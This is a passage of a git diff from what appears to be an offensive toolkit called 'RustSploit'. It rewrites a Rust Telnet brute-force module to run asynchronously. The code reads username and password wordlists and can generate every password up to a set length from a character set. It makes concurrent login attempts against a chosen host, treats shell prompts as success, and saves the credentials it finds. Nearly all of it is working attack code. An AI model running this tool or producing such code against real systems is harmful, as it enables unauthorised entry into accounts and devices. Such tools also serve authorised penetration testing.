std::io::stdin().read_line(&mut s)?;
|
||||
@@ -214,13 +244,13 @@ fn prompt_required(msg: &str) -> Result<String> {
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
@@ -235,7 +265,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default_char);
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
@@ -247,7 +277,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,32 +1,49 @@
|
||||
use anyhow::{Result, Context};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use async_stream::stream;
|
||||
use colored::*;
|
||||
use futures::{Stream, StreamExt};
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::time::Duration;
|
||||
use telnet::Event;
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
use telnet::Telnet;
|
||||
use tokio::fs::File;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{mpsc, Mutex};
|
||||
use tokio::time::timeout;
|
||||
use futures::pin_mut;
|
||||
|
||||
/// Entry point (async)
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
|
||||
|
||||
let target = target.to_string();
|
||||
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try every username with every password? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose mode? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
let target = target.trim().to_string();
|
||||
let port = prompt_port(23);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let raw_bruteforce = prompt_yes_no("Enable raw brute-force password generation? (y/n): ", false);
|
||||
let password_wordlist = if raw_bruteforce {
|
||||
prompt_optional_wordlist("Password wordlist file (leave blank to skip): ")?
|
||||
} else {
|
||||
Some(prompt_wordlist("Password wordlist file: ")?)
|
||||
};
|
||||
let (raw_charset, raw_max_length) = if raw_bruteforce {
|
||||
let charset = prompt_charset(
|
||||
"Raw brute-force character set (default a-zA-Z0-9...): ",
|
||||
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{}|;:'\",.<>?/\\",
|
||||
);
|
||||
let max_len = prompt_max_length(4, 1, 6);
|
||||
(charset, max_len)
|
||||
} else {
|
||||
(String::new(), 0)
|
||||
};
|
||||
let threads = prompt_threads(8);
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login? (y/n): ", false);
|
||||
let full_combo = prompt_yes_no("Try every username with every password? (y/n): ", false);
|
||||
let verbose = prompt_yes_no("Verbose mode? (y/n): ", false);
|
||||
|
||||
let config = TelnetBruteforceConfig {
|
||||
target,
|
||||
@@ -37,9 +54,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
raw_bruteforce,
|
||||
raw_charset,
|
||||
raw_max_length,
|
||||
};
|
||||
|
||||
run_telnet_bruteforce(config)
|
||||
run_telnet_bruteforce(config).await
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
@@ -47,17 +67,19 @@ struct TelnetBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
password_wordlist: Option<String>,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
raw_bruteforce: bool,
|
||||
raw_charset: String,
|
||||
raw_max_length: usize,
|
||||
}
|
||||
|
||||
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
// 1) Normalize & validate host:port
|
||||
let addr = normalize_target(&config.target, config.port)
|
||||
.context("Invalid target address")?;
|
||||
async fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
// Normalize & validate host:port
|
||||
let addr = normalize_target(&config.target, config.port).context("Invalid target address")?;
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
@@ -65,76 +87,203 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
|
||||
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
|
||||
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
// Count lines (non-empty)
|
||||
let username_count = count_nonempty_lines(&config.username_wordlist).await?;
|
||||
if username_count == 0 {
|
||||
return Err(anyhow!("Username wordlist '{}' is empty", config.username_wordlist));
|
||||
}
|
||||
|
||||
let password_count = if let Some(ref pwd_path) = config.password_wordlist {
|
||||
let c = count_nonempty_lines(pwd_path).await?;
|
||||
if c == 0 && !config.raw_bruteforce {
|
||||
return Err(anyhow!("Password wordlist '{}' is empty", pwd_path));
|
||||
}
|
||||
c
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
if !config.raw_bruteforce && password_count == 0 {
|
||||
return Err(anyhow!(
|
||||
"No passwords available (wordlist empty and raw brute-force disabled)"
|
||||
));
|
||||
}
|
||||
if config.raw_bruteforce && config.raw_charset.is_empty() {
|
||||
return Err(anyhow!("Raw brute-force enabled but character set is empty"));
|
||||
}
|
||||
if config.raw_bruteforce && config.raw_max_length == 0 {
|
||||
return Err(anyhow!("Raw brute-force enabled but max length is zero"));
|
||||
}
|
||||
|
||||
let creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let attempt_counter = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// 2) Build the combo queue
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
tx.send((u.clone(), p.clone()))?;
|
||||
}
|
||||
}
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords {
|
||||
tx.send((usernames[0].clone(), p.clone()))?;
|
||||
}
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames {
|
||||
tx.send((u.clone(), passwords[0].clone()))?;
|
||||
}
|
||||
} else {
|
||||
println!("[!] Multiple creds & full_combo=OFF → using first username.");
|
||||
for p in &passwords {
|
||||
tx.send((usernames[0].clone(), p.clone()))?;
|
||||
}
|
||||
println!(
|
||||
"[*] Username file '{}' → {} username(s).",
|
||||
config.username_wordlist, username_count
|
||||
);
|
||||
if password_count > 0 {
|
||||
println!(
|
||||
"[*] Password file {:?} → {} password(s).",
|
||||
config.password_wordlist, password_count
|
||||
);
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// 3) Spawn workers
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let creds = Arc::clone(&creds);
|
||||
let cfg = config.clone();
|
||||
// bounded channel for backpressure: capacity = threads * 4
|
||||
let (tx, rx) = mpsc::channel::<(String, String)>(config.threads.saturating_mul(4).max(8));
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() {
|
||||
// Spawn producer: either enqueue combos (streaming) or produce raw stream
|
||||
let producer_stop = stop_flag.clone();
|
||||
let producer_counter = attempt_counter.clone();
|
||||
let username_path_clone = config.username_wordlist.clone();
|
||||
if password_count > 0 {
|
||||
// spawn a background task to stream combos
|
||||
let password_path = config.password_wordlist.clone().unwrap();
|
||||
let full_combo = config.full_combo;
|
||||
let tx_clone = tx.clone();
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) = enqueue_wordlist_combos_stream_async(
|
||||
tx_clone,
|
||||
&username_path_clone,
|
||||
&password_path,
|
||||
full_combo,
|
||||
producer_counter,
|
||||
producer_stop,
|
||||
username_count,
|
||||
password_count,
|
||||
)
|
||||
.await
|
||||
{
|
||||
eprintln!("[!] Producer error: {}", e);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// If raw brute enabled, create an async password stream and spawn a task that consumes it and sends into channel.
|
||||
if config.raw_bruteforce {
|
||||
let charset: Vec<char> = config.raw_charset.chars().collect();
|
||||
let max_len = config.raw_max_length;
|
||||
let username_path = config.username_wordlist.clone();
|
||||
let full_combo = config.full_combo;
|
||||
let tx_clone = tx.clone();
|
||||
let stop_clone = stop_flag.clone();
|
||||
let counter_clone = attempt_counter.clone();
|
||||
tokio::spawn(async move {
|
||||
let pwd_stream = raw_password_stream(charset, max_len);
|
||||
pin_mut!(pwd_stream);
|
||||
while let Some(pwd) = pwd_stream.next().await {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
if cfg.verbose {
|
||||
println!("[*] Trying {}:{}", user, pass);
|
||||
}
|
||||
match try_telnet_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] Valid: {}:{}", user, pass);
|
||||
creds.lock().unwrap().push((user, pass));
|
||||
if cfg.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
// for that generated password, send to username(s) similar to previous logic:
|
||||
if full_combo || username_count == 1 {
|
||||
if let Err(e) = send_password_to_all_usernames_async(
|
||||
&username_path,
|
||||
&pwd,
|
||||
&tx_clone,
|
||||
&stop_clone,
|
||||
&counter_clone,
|
||||
)
|
||||
.await
|
||||
{
|
||||
eprintln!("[!] Error sending password combos: {}", e);
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
// multiple usernames but full_combo=false => first username only
|
||||
if let Ok(Some(first_user)) = get_first_nonempty_line_async(&username_path).await {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
if cfg.verbose {
|
||||
eprintln!("[!] Error: {}", e);
|
||||
if tx_clone.send((first_user.clone(), pwd.clone())).await.is_err() {
|
||||
break;
|
||||
}
|
||||
counter_clone.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
|
||||
// 4) Report & optional save
|
||||
let found = creds.lock().unwrap();
|
||||
// Drop extra tx to allow channel to close when producers finish
|
||||
drop(tx);
|
||||
|
||||
// Spawn async workers - FIX: Use Arc<Mutex<Receiver>> to share receiver
|
||||
let rx = Arc::new(Mutex::new(rx));
|
||||
let mut worker_handles = Vec::new();
|
||||
|
||||
for _ in 0..config.threads {
|
||||
let rx_clone = rx.clone();
|
||||
let addr_clone = addr.clone();
|
||||
let stop_clone = stop_flag.clone();
|
||||
let creds_clone = creds.clone();
|
||||
let cfg = config.clone();
|
||||
let attempt_counter_worker = attempt_counter.clone();
|
||||
|
||||
let h = tokio::spawn(async move {
|
||||
loop {
|
||||
let pair = {
|
||||
let mut guard = rx_clone.lock().await;
|
||||
guard.recv().await
|
||||
};
|
||||
|
||||
let Some((user, pass)) = pair else {
|
||||
break; // Channel closed
|
||||
};
|
||||
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
if cfg.verbose {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Trying {}:{}", user, (&pass)).bright_blue()
|
||||
);
|
||||
}
|
||||
|
||||
attempt_counter_worker.fetch_add(1, Ordering::Relaxed);
|
||||
match try_telnet_login_async(&addr_clone, &user, &pass).await {
|
||||
Ok(true) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Valid: {}:{}", user, pass).green().bold()
|
||||
);
|
||||
creds_clone.lock().await.push((user.clone(), pass.clone()));
|
||||
if cfg.stop_on_success {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
if cfg.verbose {
|
||||
println!("{}", format!("[-] Failed: {}:{}", user, pass).red());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
if cfg.verbose {
|
||||
eprintln!("{}", format!("[!] Error {}: {}:{}", e, user, pass).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
worker_handles.push(h);
|
||||
}
|
||||
|
||||
// Wait for all workers to finish
|
||||
for h in worker_handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
println!(
|
||||
"[*] Total credential attempts queued: {}",
|
||||
attempt_counter.load(Ordering::Relaxed)
|
||||
);
|
||||
|
||||
// Report & optional save
|
||||
let found = creds.lock().await;
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials found.");
|
||||
} else {
|
||||
@@ -142,12 +291,9 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
for (u, p) in found.iter() {
|
||||
println!(" - {}:{}", u, p);
|
||||
}
|
||||
if prompt("\n[?] Save to file? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
if prompt("\n[?] Save to file? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let file = prompt("Filename: ");
|
||||
if let Err(e) = save_results(&file, &found) {
|
||||
if let Err(e) = save_results(&file, &found).await {
|
||||
eprintln!("[!] Failed to save: {}", e);
|
||||
} else {
|
||||
println!("[+] Results saved to '{}'", file);
|
||||
@@ -158,54 +304,51 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt a single login, with 0.7 s connect+I/O timeout
|
||||
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
// Resolve to SocketAddr
|
||||
/// Non-blocking async telnet-like attempt using tokio TcpStream + timeouts.
|
||||
async fn try_telnet_login_async(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
let socket = addr
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
|
||||
// Connect with 1500 ms timeout
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500))
|
||||
.context("Connection timed out")?;
|
||||
// I/O timeout
|
||||
stream
|
||||
.set_read_timeout(Some(Duration::from_millis(1500)))
|
||||
.context("Failed to set read timeout")?;
|
||||
stream
|
||||
.set_write_timeout(Some(Duration::from_millis(1500)))
|
||||
.context("Failed to set write timeout")?;
|
||||
|
||||
// Wrap into Telnet
|
||||
let mut connection = Telnet::from_stream(Box::new(stream), 256);
|
||||
let connect_fut = TcpStream::connect(socket);
|
||||
let stream = timeout(Duration::from_millis(1500), connect_fut)
|
||||
.await
|
||||
.context("Connection timed out")?
|
||||
.context("Connect failed")?;
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
let mut buf = vec![0u8; 1024];
|
||||
|
||||
let mut login_seen = false;
|
||||
let mut pass_seen = false;
|
||||
|
||||
for _ in 0..10 {
|
||||
let event = connection.read().context("Read error or timeout")?;
|
||||
if let Event::Data(buffer) = event {
|
||||
let out = String::from_utf8_lossy(&buffer).to_lowercase();
|
||||
if !login_seen && (out.contains("login:") || out.contains("username")) {
|
||||
connection.write(format!("{}\n", username).as_bytes())?;
|
||||
login_seen = true;
|
||||
} else if login_seen && !pass_seen && out.contains("password") {
|
||||
connection.write(format!("{}\n", password).as_bytes())?;
|
||||
pass_seen = true;
|
||||
} else if pass_seen {
|
||||
if out.contains("incorrect")
|
||||
|| out.contains("failed")
|
||||
|| out.contains("denied")
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
if out.contains("last login")
|
||||
|| out.contains("$")
|
||||
|| out.contains("#")
|
||||
|| out.contains("welcome")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
let n = match timeout(Duration::from_millis(700), reader.read(&mut buf)).await {
|
||||
Ok(Ok(0)) | Ok(Err(_)) | Err(_) => {
|
||||
break;
|
||||
}
|
||||
Ok(Ok(n)) => n,
|
||||
};
|
||||
let out = String::from_utf8_lossy(&buf[..n]).to_lowercase();
|
||||
|
||||
if !login_seen && (out.contains("login:") || out.contains("username")) {
|
||||
let _ = timeout(Duration::from_millis(700), writer.write_all(format!("{}\n", username).as_bytes())).await;
|
||||
login_seen = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if login_seen && !pass_seen && out.contains("password") {
|
||||
let _ = timeout(Duration::from_millis(700), writer.write_all(format!("{}\n", password).as_bytes())).await;
|
||||
pass_seen = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if pass_seen {
|
||||
if out.contains("incorrect") || out.contains("failed") || out.contains("denied") {
|
||||
return Ok(false);
|
||||
}
|
||||
if out.contains("last login") || out.contains('$') || out.contains('#') || out.contains("welcome") {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -213,51 +356,274 @@ fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool>
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let f = File::open(path).context(format!("Unable to open {}", path))?;
|
||||
Ok(BufReader::new(f).lines().filter_map(Result::ok).collect())
|
||||
/// Async raw password stream using `async_stream::stream!` - yields String passwords with backpressure.
|
||||
fn raw_password_stream(charset: Vec<char>, max_len: usize) -> impl Stream<Item = String> {
|
||||
stream! {
|
||||
if charset.is_empty() || max_len == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
let base = charset.len();
|
||||
|
||||
for len in 1..=max_len {
|
||||
let mut indices = vec![0usize; len];
|
||||
|
||||
loop {
|
||||
// Build password from current indices
|
||||
let pwd: String = indices.iter().map(|&i| charset[i]).collect();
|
||||
yield pwd;
|
||||
|
||||
// Increment indices like odometer (rightmost first)
|
||||
let mut carry = true;
|
||||
for i in (0..len).rev() {
|
||||
if carry {
|
||||
indices[i] += 1;
|
||||
if indices[i] < base {
|
||||
carry = false;
|
||||
} else {
|
||||
indices[i] = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If we still have carry, we've exhausted all combinations for this length
|
||||
if carry {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut f = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
for (u, p) in creds {
|
||||
writeln!(f, "{}:{}", u, p)?;
|
||||
/// Async helper: send a generated password to every username by streaming the username file.
|
||||
async fn send_password_to_all_usernames_async(
|
||||
username_path: &str,
|
||||
password: &str,
|
||||
tx: &mpsc::Sender<(String, String)>,
|
||||
stop_flag: &AtomicBool,
|
||||
counter: &AtomicUsize,
|
||||
) -> Result<()> {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
return Ok(());
|
||||
}
|
||||
let f = File::open(username_path).await.context("Unable to open username file")?;
|
||||
let mut reader = BufReader::new(f).lines();
|
||||
while let Some(line) = reader.next_line().await? {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let u = line.trim().to_string();
|
||||
if u.is_empty() {
|
||||
continue;
|
||||
}
|
||||
tx.send((u.clone(), password.to_string())).await.map_err(|_| anyhow!("Receiver dropped"))?;
|
||||
counter.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg);
|
||||
io::stdout().flush().unwrap();
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf).unwrap();
|
||||
buf.trim().to_string()
|
||||
/// Async streamed combo enqueue (non-blocking file reads)
|
||||
async fn enqueue_wordlist_combos_stream_async(
|
||||
tx: mpsc::Sender<(String, String)>,
|
||||
username_path: &str,
|
||||
password_path: &str,
|
||||
full_combo: bool,
|
||||
counter: Arc<AtomicUsize>,
|
||||
stop_flag: Arc<AtomicBool>,
|
||||
username_count: usize,
|
||||
password_count: usize,
|
||||
) -> Result<()> {
|
||||
if password_count == 0 {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if full_combo {
|
||||
let ufile = File::open(username_path).await.context("Unable to open username file")?;
|
||||
let mut ureader = BufReader::new(ufile).lines();
|
||||
while let Some(uline) = ureader.next_line().await? {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let u = uline.trim().to_string();
|
||||
if u.is_empty() { continue; }
|
||||
|
||||
let pfile = File::open(password_path).await.context("Unable to open password file")?;
|
||||
let mut preader = BufReader::new(pfile).lines();
|
||||
while let Some(pline) = preader.next_line().await? {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let p = pline.trim().to_string();
|
||||
if p.is_empty() { continue; }
|
||||
tx.send((u.clone(), p.clone())).await.map_err(|_| anyhow!("Receiver dropped"))?;
|
||||
counter.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
} else if username_count == 1 {
|
||||
let first_user = get_first_nonempty_line_async(username_path).await?.ok_or_else(|| anyhow!("No username found"))?;
|
||||
let pfile = File::open(password_path).await.context("Unable to open password file")?;
|
||||
let mut preader = BufReader::new(pfile).lines();
|
||||
while let Some(pline) = preader.next_line().await? {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let p = pline.trim().to_string();
|
||||
if p.is_empty() { continue; }
|
||||
tx.send((first_user.clone(), p.clone())).await.map_err(|_| anyhow!("Receiver dropped"))?;
|
||||
counter.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
} else if password_count == 1 {
|
||||
let first_pass = get_first_nonempty_line_async(password_path).await?.ok_or_else(|| anyhow!("No password found"))?;
|
||||
let ufile = File::open(username_path).await.context("Unable to open username file")?;
|
||||
let mut ureader = BufReader::new(ufile).lines();
|
||||
while let Some(uline) = ureader.next_line().await? {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let u = uline.trim().to_string();
|
||||
if u.is_empty() { continue; }
|
||||
tx.send((u.clone(), first_pass.clone())).await.map_err(|_| anyhow!("Receiver dropped"))?;
|
||||
counter.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
} else {
|
||||
println!("[!] Multiple creds & full_combo=OFF → using first username.");
|
||||
let first_user = get_first_nonempty_line_async(username_path).await?.ok_or_else(|| anyhow!("No username found"))?;
|
||||
let pfile = File::open(password_path).await.context("Unable to open password file")?;
|
||||
let mut preader = BufReader::new(pfile).lines();
|
||||
while let Some(pline) = preader.next_line().await? {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let p = pline.trim().to_string();
|
||||
if p.is_empty() { continue; }
|
||||
tx.send((first_user.clone(), p.clone())).await.map_err(|_| anyhow!("Receiver dropped"))?;
|
||||
counter.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Async helper to get first non-empty line from file
|
||||
async fn get_first_nonempty_line_async(path: &str) -> Result<Option<String>> {
|
||||
let f = File::open(path).await.context(format!("Unable to open {}", path))?;
|
||||
let mut reader = BufReader::new(f).lines();
|
||||
while let Some(line) = reader.next_line().await? {
|
||||
let t = line.trim().to_string();
|
||||
if !t.is_empty() { return Ok(Some(t)); }
|
||||
}
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Async count non-empty lines
|
||||
async fn count_nonempty_lines(path: &str) -> Result<usize> {
|
||||
let f = File::open(path).await.context(format!("Unable to open {}", path))?;
|
||||
let mut reader = BufReader::new(f).lines();
|
||||
let mut count = 0usize;
|
||||
while let Some(line) = reader.next_line().await? {
|
||||
if !line.trim().is_empty() {
|
||||
count += 1;
|
||||
}
|
||||
}
|
||||
Ok(count)
|
||||
}
|
||||
|
||||
/// Save results (now async)
|
||||
async fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
use tokio::io::AsyncWriteExt;
|
||||
let mut f = File::create(path).await?;
|
||||
for (u, p) in creds {
|
||||
f.write_all(format!("{}:{}\n", u, p).as_bytes()).await?;
|
||||
}
|
||||
f.flush().await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helpers (synchronous)
|
||||
fn prompt(msg: &str) -> String {
|
||||
use std::io::Write;
|
||||
print!("{}", msg);
|
||||
let _ = std::io::stdout().flush();
|
||||
let mut buf = String::new();
|
||||
match std::io::stdin().read_line(&mut buf) {
|
||||
Ok(_) => buf.trim().to_string(),
|
||||
Err(_) => String::new(),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> u16 {
|
||||
loop {
|
||||
let input = prompt("Port (default 23): ");
|
||||
if input.is_empty() { return default; }
|
||||
match input.parse::<u16>() {
|
||||
Ok(port) if port > 0 => return port,
|
||||
_ => println!("[!] Invalid port value."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt("Number of threads (default 8): ");
|
||||
if input.is_empty() { return default.max(1); }
|
||||
match input.parse::<usize>() {
|
||||
Ok(val) if val >= 1 && val <= 256 => return val,
|
||||
_ => println!("[!] Invalid thread count."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> bool {
|
||||
loop {
|
||||
let input = prompt(message);
|
||||
if input.is_empty() { return default; }
|
||||
match input.to_lowercase().as_str() {
|
||||
"y"|"yes" => return true,
|
||||
"n"|"no" => return false,
|
||||
_ => println!("[!] Please respond with y or n."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(prompt_text: &str) -> Result<String> {
|
||||
loop {
|
||||
let path = prompt(prompt_text);
|
||||
if path.is_empty() { println!("[!] Path cannot be empty."); continue; }
|
||||
let trimmed = path.trim();
|
||||
let candidate = Path::new(trimmed);
|
||||
if candidate.is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("[!] File '{}' does not exist or is not a regular file.", trimmed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional_wordlist(prompt_text: &str) -> Result<Option<String>> {
|
||||
loop {
|
||||
let path = prompt(prompt_text);
|
||||
if path.is_empty() { return Ok(None); }
|
||||
let trimmed = path.trim();
|
||||
let candidate = Path::new(trimmed);
|
||||
if candidate.is_file() { return Ok(Some(trimmed.to_string())); }
|
||||
else { println!("[!] File '{}' does not exist or is not a regular file.", trimmed); }
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_charset(prompt_text: &str, default: &str) -> String {
|
||||
let input = prompt(prompt_text);
|
||||
if input.is_empty() { default.to_string() } else { input.trim().to_string() }
|
||||
}
|
||||
|
||||
fn prompt_max_length(default: usize, _min: usize, max: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt(&format!("Maximum password length (1-{}, default {}): ", max, default));
|
||||
if input.is_empty() { return default; }
|
||||
match input.parse::<usize>() {
|
||||
Ok(val) if val >= 1 && val <= max => return val,
|
||||
_ => println!("[!] Invalid length."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Enhanced IPv4/IPv6/domain normalizer & resolver
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let caps = re
|
||||
.captures(host.trim())
|
||||
.ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?;
|
||||
let caps = re.captures(host.trim()).ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
